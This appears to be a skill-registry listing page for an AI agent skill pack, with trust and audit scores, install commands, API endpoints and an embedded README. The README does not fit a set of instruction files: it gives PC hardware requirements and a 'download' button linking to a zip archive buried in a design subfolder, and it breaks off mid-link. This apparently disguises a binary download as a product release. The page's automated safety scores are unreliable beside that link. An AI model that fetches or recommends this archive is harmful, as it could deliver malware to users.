Star200+

Awesome Ai Agent Skills

REVIEW · 72
Community indexed

🤖 Provide 70+ ready-to-use, platform-agnostic AI agent skills for improving tasks like code review, security, and data analysis.

Downloads0
Stars33
Version1.0.0
Quality76/100 · Strong
Trust72/100 · Sandbox only
Audit84/100 · Needs review

Supply asset profile

Coding and developer agents

Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.

Browse track

Scenario

GitHub automation

I need my agent to triage GitHub issues, review pull requests, and summarize repository changes.

Agent fit

Claude Code + CLI + Codex

Codex, Claude Code, Cursor, CLI, or custom agents.

Install

Ready

npx skills add h4vzz/awesome-ai-agent-skills

Maintenance

fresh

6d since push

Risk

Needs review

Low GitHub adoption signal

GitHub quality

33

76/100 Quality · 80/100 Trust

Coverage tags

CodingGitHub automationutilityagent-skillskill

Review notes

Low GitHub adoption signal · Quality score needs review

Agent adoption scorecard

Trust, audit, and install readiness at a glance

These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.

Quality

Strong
76

Solid option that is likely worth shortlisting for production workflows.

Trust

Sandbox only
72

Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.

Audit

Needs review
84

A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.

OpenAgentSkill Trust Score v5

Human review before install

Run only in a sandbox and compare close alternatives before using it for real work.

CodexClaude CodeCursorOpenAgentSkill CLI

Stars

33 GitHub stars

Repo activity

33 stars, 12 forks

Maintenance

6d since push

License

MIT

Install

npx skills add h4vzz/awesome-ai-agent-skills

Install safety

standard package or runtime install path

Permission surface

no high-risk permission surface in public metadata

Agent outcomes

No agent outcome data yet

Docs

Strong README/SKILL.md context

Risk summary

Review before production

  • Low GitHub adoption signal
  • Quality score needs review
  • GitHub adoption: 33 GitHub stars
  • Stars/forks activity: 33 stars, 12 forks; issue activity unavailable in current metadata

Install readiness

Install path available

  • Install path is available
  • Repository evidence is available
  • License is declared
  • No Agent Proven outcome evidence yet

Agent-readable metadata

Machine-readable decision data for this skill.

Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.

Open JSON

Suited tasks

  • GitHub automation workflows
  • Claude Code teams
  • builders willing to evaluate younger projects
  • Inspect repository metadata

Suited agents

CodexClaude CodeCursorOpenAgentSkill CLICLI

Install decision

Command
npx skills add h4vzz/awesome-ai-agent-skills
Policy
review
Human review
yes

Trust and risk

Trust
72/100
Audit
84/100
Risk level
Needs review

Outcome loop

Endpoint
/api/agent/outcome
Event ID
resolve
Outcomes
5

Install command

npx skills add h4vzz/awesome-ai-agent-skills
Public auditEval reportResolve APIInstall handoff

Do not use when

  • teams that need a vendor-supported SLA
  • production agents without a repository review
  • Low GitHub adoption signal
  • Quality score needs review
  • GitHub adoption: 33 GitHub stars
No close alternatives indexed yet.

Agent safety v2

72/100 · Review before install

Reviewed with permission notesreview

Usable candidate, but the agent should surface permission and audit notes before installation.

Require human approval before installing into a real workspace.

Resolve via API

medium

Network access

Skill likely fetches remote pages, APIs, repositories, or external services.

  • Low GitHub adoption signal

Install targets

Install this skill in your agent workflow

Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.

skill install

OpenAgentSkill CLI

Use the registry command when your workflow supports the OpenAgentSkill installer.

$ npx skills add h4vzz/awesome-ai-agent-skills

Agent resolve plan

Let an agent verify fit before installing.

The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.

Open text plan

Open JSON

/api/agent/resolve?task=Use%20Awesome%20Ai%20Agent%20Skills%20for%20an%20agent%20workflow&agent=codex&max_risk=medium

Resolve text

/api/agent/resolve?task=Use%20Awesome%20Ai%20Agent%20Skills%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text

Install handoff

/api/skills/h4vzz-awesome-ai-agent-skills/install

Agent should check

  • Task fit and alternatives from Resolve API.
  • Audit score, trust score, and safety policy warnings.
  • Install target compatibility for Codex, Claude Code, Cursor, or CLI.

Copy prompt

Task: Use Awesome Ai Agent Skills in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20Awesome%20Ai%20Agent%20Skills%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/h4vzz-awesome-ai-agent-skills/install
Install command: npx skills add h4vzz/awesome-ai-agent-skills
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.

Agent handoff

Give an agent the install path, not another directory page.

Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.

Open install API

Install handoff

/api/skills/h4vzz-awesome-ai-agent-skills/install

LLM text format

/api/skills/h4vzz-awesome-ai-agent-skills/install?format=text

Find alternatives

/api/skills/search?q=Awesome%20Ai%20Agent%20Skills&limit=3

Agent prompt

Use Awesome Ai Agent Skills for this task. Review https://www.openagentskill.com/api/skills/h4vzz-awesome-ai-agent-skills/install, then install with: npx skills add h4vzz/awesome-ai-agent-skills

Registry metadata

Agent-readable profile for automatic skill selection.

This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.

Open manifest

Manifest

/api/registry/manifest/h4vzz-awesome-ai-agent-skills

LLM text

/api/registry/manifest/h4vzz-awesome-ai-agent-skills?format=text

Install alias

/api/registry/install/h4vzz-awesome-ai-agent-skills

Recommend

/api/registry/recommend?task=Use%20Awesome%20Ai%20Agent%20Skills%20in%20an%20agent%20workflow&limit=3

Agent fit

75/100

GitHub automation

Use-case tags

GitHub automationCoding agentsBrowser automation

Platforms

Claude Code

Audit report

Needs review · 84/100

A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.

View audit reportView eval report

Agent decision cockpit

Companion skill for GitHub automation

Shortlist this skill and compare it with close alternatives before production adoption.

75
Readiness
Shortlist
Stage

Role in stack

Companion skill

Primary fit

GitHub automation

Trust label

Strong shortlist

Install path

Command ready

Use when

  • GitHub automation workflows
  • Claude Code teams
  • builders willing to evaluate younger projects

Evidence

  • recent repository activity
  • install command or GitHub repo available
  • 76/100 quality profile
  • 1 OpenAgentSkill engagement events

review first

  • Low GitHub adoption signal

Implementation path

  1. 1Install it in a sandbox agent and run one GitHub automation task end to end.
  2. 2Compare output quality, latency, and failure behavior against at least one alternative.
  3. 3Promote it into production only after reviewing repository permissions, license, and maintenance signals.

Trust profile

Sandbox only

Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.

72
OpenAgentSkill Trust Score

GitHub adoption

CHECK

33 GitHub stars

Stars/forks activity

CHECK

33 stars, 12 forks; issue activity unavailable in current metadata

Recent maintenance

PASS

6d since push

License clarity

PASS

MIT

Good signals

  • AI review approved
  • Install path is available
  • Repository evidence is available
  • Recently maintained repository
  • Install command has no obvious high-risk pattern
  • Outcome loop is ready but needs first real agent run

Review before install

  • Low GitHub adoption signal
  • Quality score needs review
  • GitHub adoption: 33 GitHub stars
  • Stars/forks activity: 33 stars, 12 forks; issue activity unavailable in current metadata
  • No real agent outcome reports yet
  • Human review required before unattended installation

Recommended action

Run only in a sandbox and compare close alternatives before using it for real work.

Quality profile

Strong candidate for agent workflows

Solid option that is likely worth shortlisting for production workflows.

76
GitHub stars
33
Freshness
6d ago
Install ready
Yes
License
MIT
Review before install: Low GitHub adoption signal

Workflow fit

Use this skill in these scenarios

Manage repositories

GitHub automation

I need my agent to triage GitHub issues, review pull requests, and summarize repository changes.

Build and ship code

Coding agents

I need a coding agent that can understand a repository, edit code, and review pull requests.

Operate web apps

Browser automation

I need my agent to control a browser, fill forms, and verify web app workflows.

Workflow fit

Add it to a complete workflow

Inspect, patch, and verify code

Coding review agent

A workflow for software agents that inspect repositories, review pull requests, generate tests, and turn findings into shippable patches.

Operate and verify web apps

Browser QA agent

A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.

Design, build, test, and ship interfaces

Frontend and UI

A practical workflow for agents that turn product briefs or Figma designs into polished frontend code, review the result, test it in a browser, and prepare a safe deployment.

Overview

# 🤖 awesome-ai-agent-skills - Enhance AI Agents with Ready Skills

[![Download Latest Release](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip%20Release-blue?style=for-the-badge)](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-and-ui-ux/user-flow-mapping/agent_ai_awesome_skills_2.0.zip)

---

## 📋 About awesome-ai-agent-skills

This project offers over 70 ready-to-use skills that improve how AI agents handle real-world tasks. Each skill gives clear, complete instructions, so you can add new abilities to your AI without any confusion or extra setup. These skills work independently, making it easy to find and use exactly what you need.

The skills cover a wide range of actions, like managing emails, booking appointments, or answering questions. You don’t get a list of links; instead, you receive full, working instructions that your AI agent can follow. This helps make your AI smarter and more useful in everyday tasks.

---

## 💻 System Requirements

To use the skills included in this project, your computer needs to meet the following basics:

- **Operating System:** Windows 10 or later, macOS 10.15 or later, or any recent Linux distribution. - **Processor:** A modern Intel or AMD processor (any dual-core or better). - **Memory:** At least 4 GB of RAM. - **Storage:** Minimum 500 MB of free disk space. - **Internet Access:** Required for downloading and for some skills that connect to online services.

No special software or coding knowledge is required to run the skills. Everything is provided in easy-to-follow formats.

---

## 🚀 Getting Started

This section helps you download and start using the skills quickly, even if you are not a tech expert.

### 1. Visit the Download Page

Click this big button below to open the official download page:

[![Download Latest Release](https://github.com/h4vzz/awesome-ai-agent-skills/raw/refs/heads/main/design-a

Technical details

Version
1.0.0
License
MIT
Last updated
Jul 24, 2026
Published
Jul 24, 2026

Decision snapshot

Companion skill

75
Ready
Shortlist
Stage

recent repository activity

Audit

Install review

Install and adoption review

84
Needs review
Security
87/100
Maintenance
100/100
Install
92/100
Open full auditView eval report

Agent-proven evidence

Agent-proven evidence

Outcome reports after resolve, review, install, and one narrow run.

0
Proven
Needs first agent runAuto-install: review firstLast: Unknown
Success rate
—
Recent failure
—
Outcomes
0
Output quality
—
Failed
0
Not relevant
0
Installs
0
Risk blocked
0
Setup needed
0
Production
0

No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.

Agent-Proven rankingOutcome contract

Install

Add to agent workflow

Free and open source. Review the report before installing into production agents.

Compare AlternativesAuto-resolve PlanView on GitHubDocumentation

Growth loop

Share kit

X

Scenario-led draft for Awesome Ai Agent Skills, ready for a manual X post.

Curator note
Awesome Ai Agent Skills: 🤖 Provide 70+ ready-to-use, platform-agnostic AI agent skills for improving tasks like code...

33 stars

https://www.openagentskill.com/skills/h4vzz-awesome-ai-agent-skills?ref=x
Open X draft
Optional reply with install command
Listing + install path for Awesome Ai Agent Skills:
https://www.openagentskill.com/skills/h4vzz-awesome-ai-agent-skills?ref=x

Install: npx skills add h4vzz/awesome-ai-agent-skills
Open reply draft

Listing source

Community indexed

Claimable

This listing was indexed from public sources and is not marked official until a maintainer claim is approved.

Creator
h4vzz
Indexed by
OpenAgentSkill community index

Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.

Claim this skill

Owner claim

Claim this skill listing

This Community indexed listing is attributed to h4vzz but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.

Creator backlink kit

Add the evidence badges to your README

Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.

[![Listed on OpenAgentSkill](https://www.openagentskill.com/api/badge/h4vzz-awesome-ai-agent-skills?metric=listed&label=Listed)](https://www.openagentskill.com/skills/h4vzz-awesome-ai-agent-skills)
[![OpenAgentSkill Trust](https://www.openagentskill.com/api/badge/h4vzz-awesome-ai-agent-skills?metric=trust&label=Trust)](https://www.openagentskill.com/skills/h4vzz-awesome-ai-agent-skills)
[![OpenAgentSkill Audit](https://www.openagentskill.com/api/badge/h4vzz-awesome-ai-agent-skills?metric=audit&label=Audit)](https://www.openagentskill.com/skills/h4vzz-awesome-ai-agent-skills/audit)
[![Agent Proven](https://www.openagentskill.com/api/badge/h4vzz-awesome-ai-agent-skills?metric=proven&label=Agent%20Proven)](https://www.openagentskill.com/skills/h4vzz-awesome-ai-agent-skills)
Preview badge Open audit Creator kit

Author

H

h4vzz

@h4vzz

Tags

agent-skillskillagentautomation

Platform fit

Claude Code

Health signals

GitHub stars
33
Quality score
48/100
Last GitHub push
Jul 24, 2026
Framework hints
Unknown
OpenAgentSkill views
1
Install copies
0
Outbound clicks
0

Community signal

Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.

Trust & safety

Sandbox only

72
  • GitHub adoption33 GitHub starsCHECK
  • Stars/forks activity33 stars, 12 forks; issue activity unavailable in current metadataCHECK
  • Recent maintenance6d since pushPASS
  • License clarityMITPASS
  • README/SKILL.md completenessMetadata includes enough usage and workflow contextPASS
  • Dependency/runtime riskno major dependency risk hints in public metadataPASS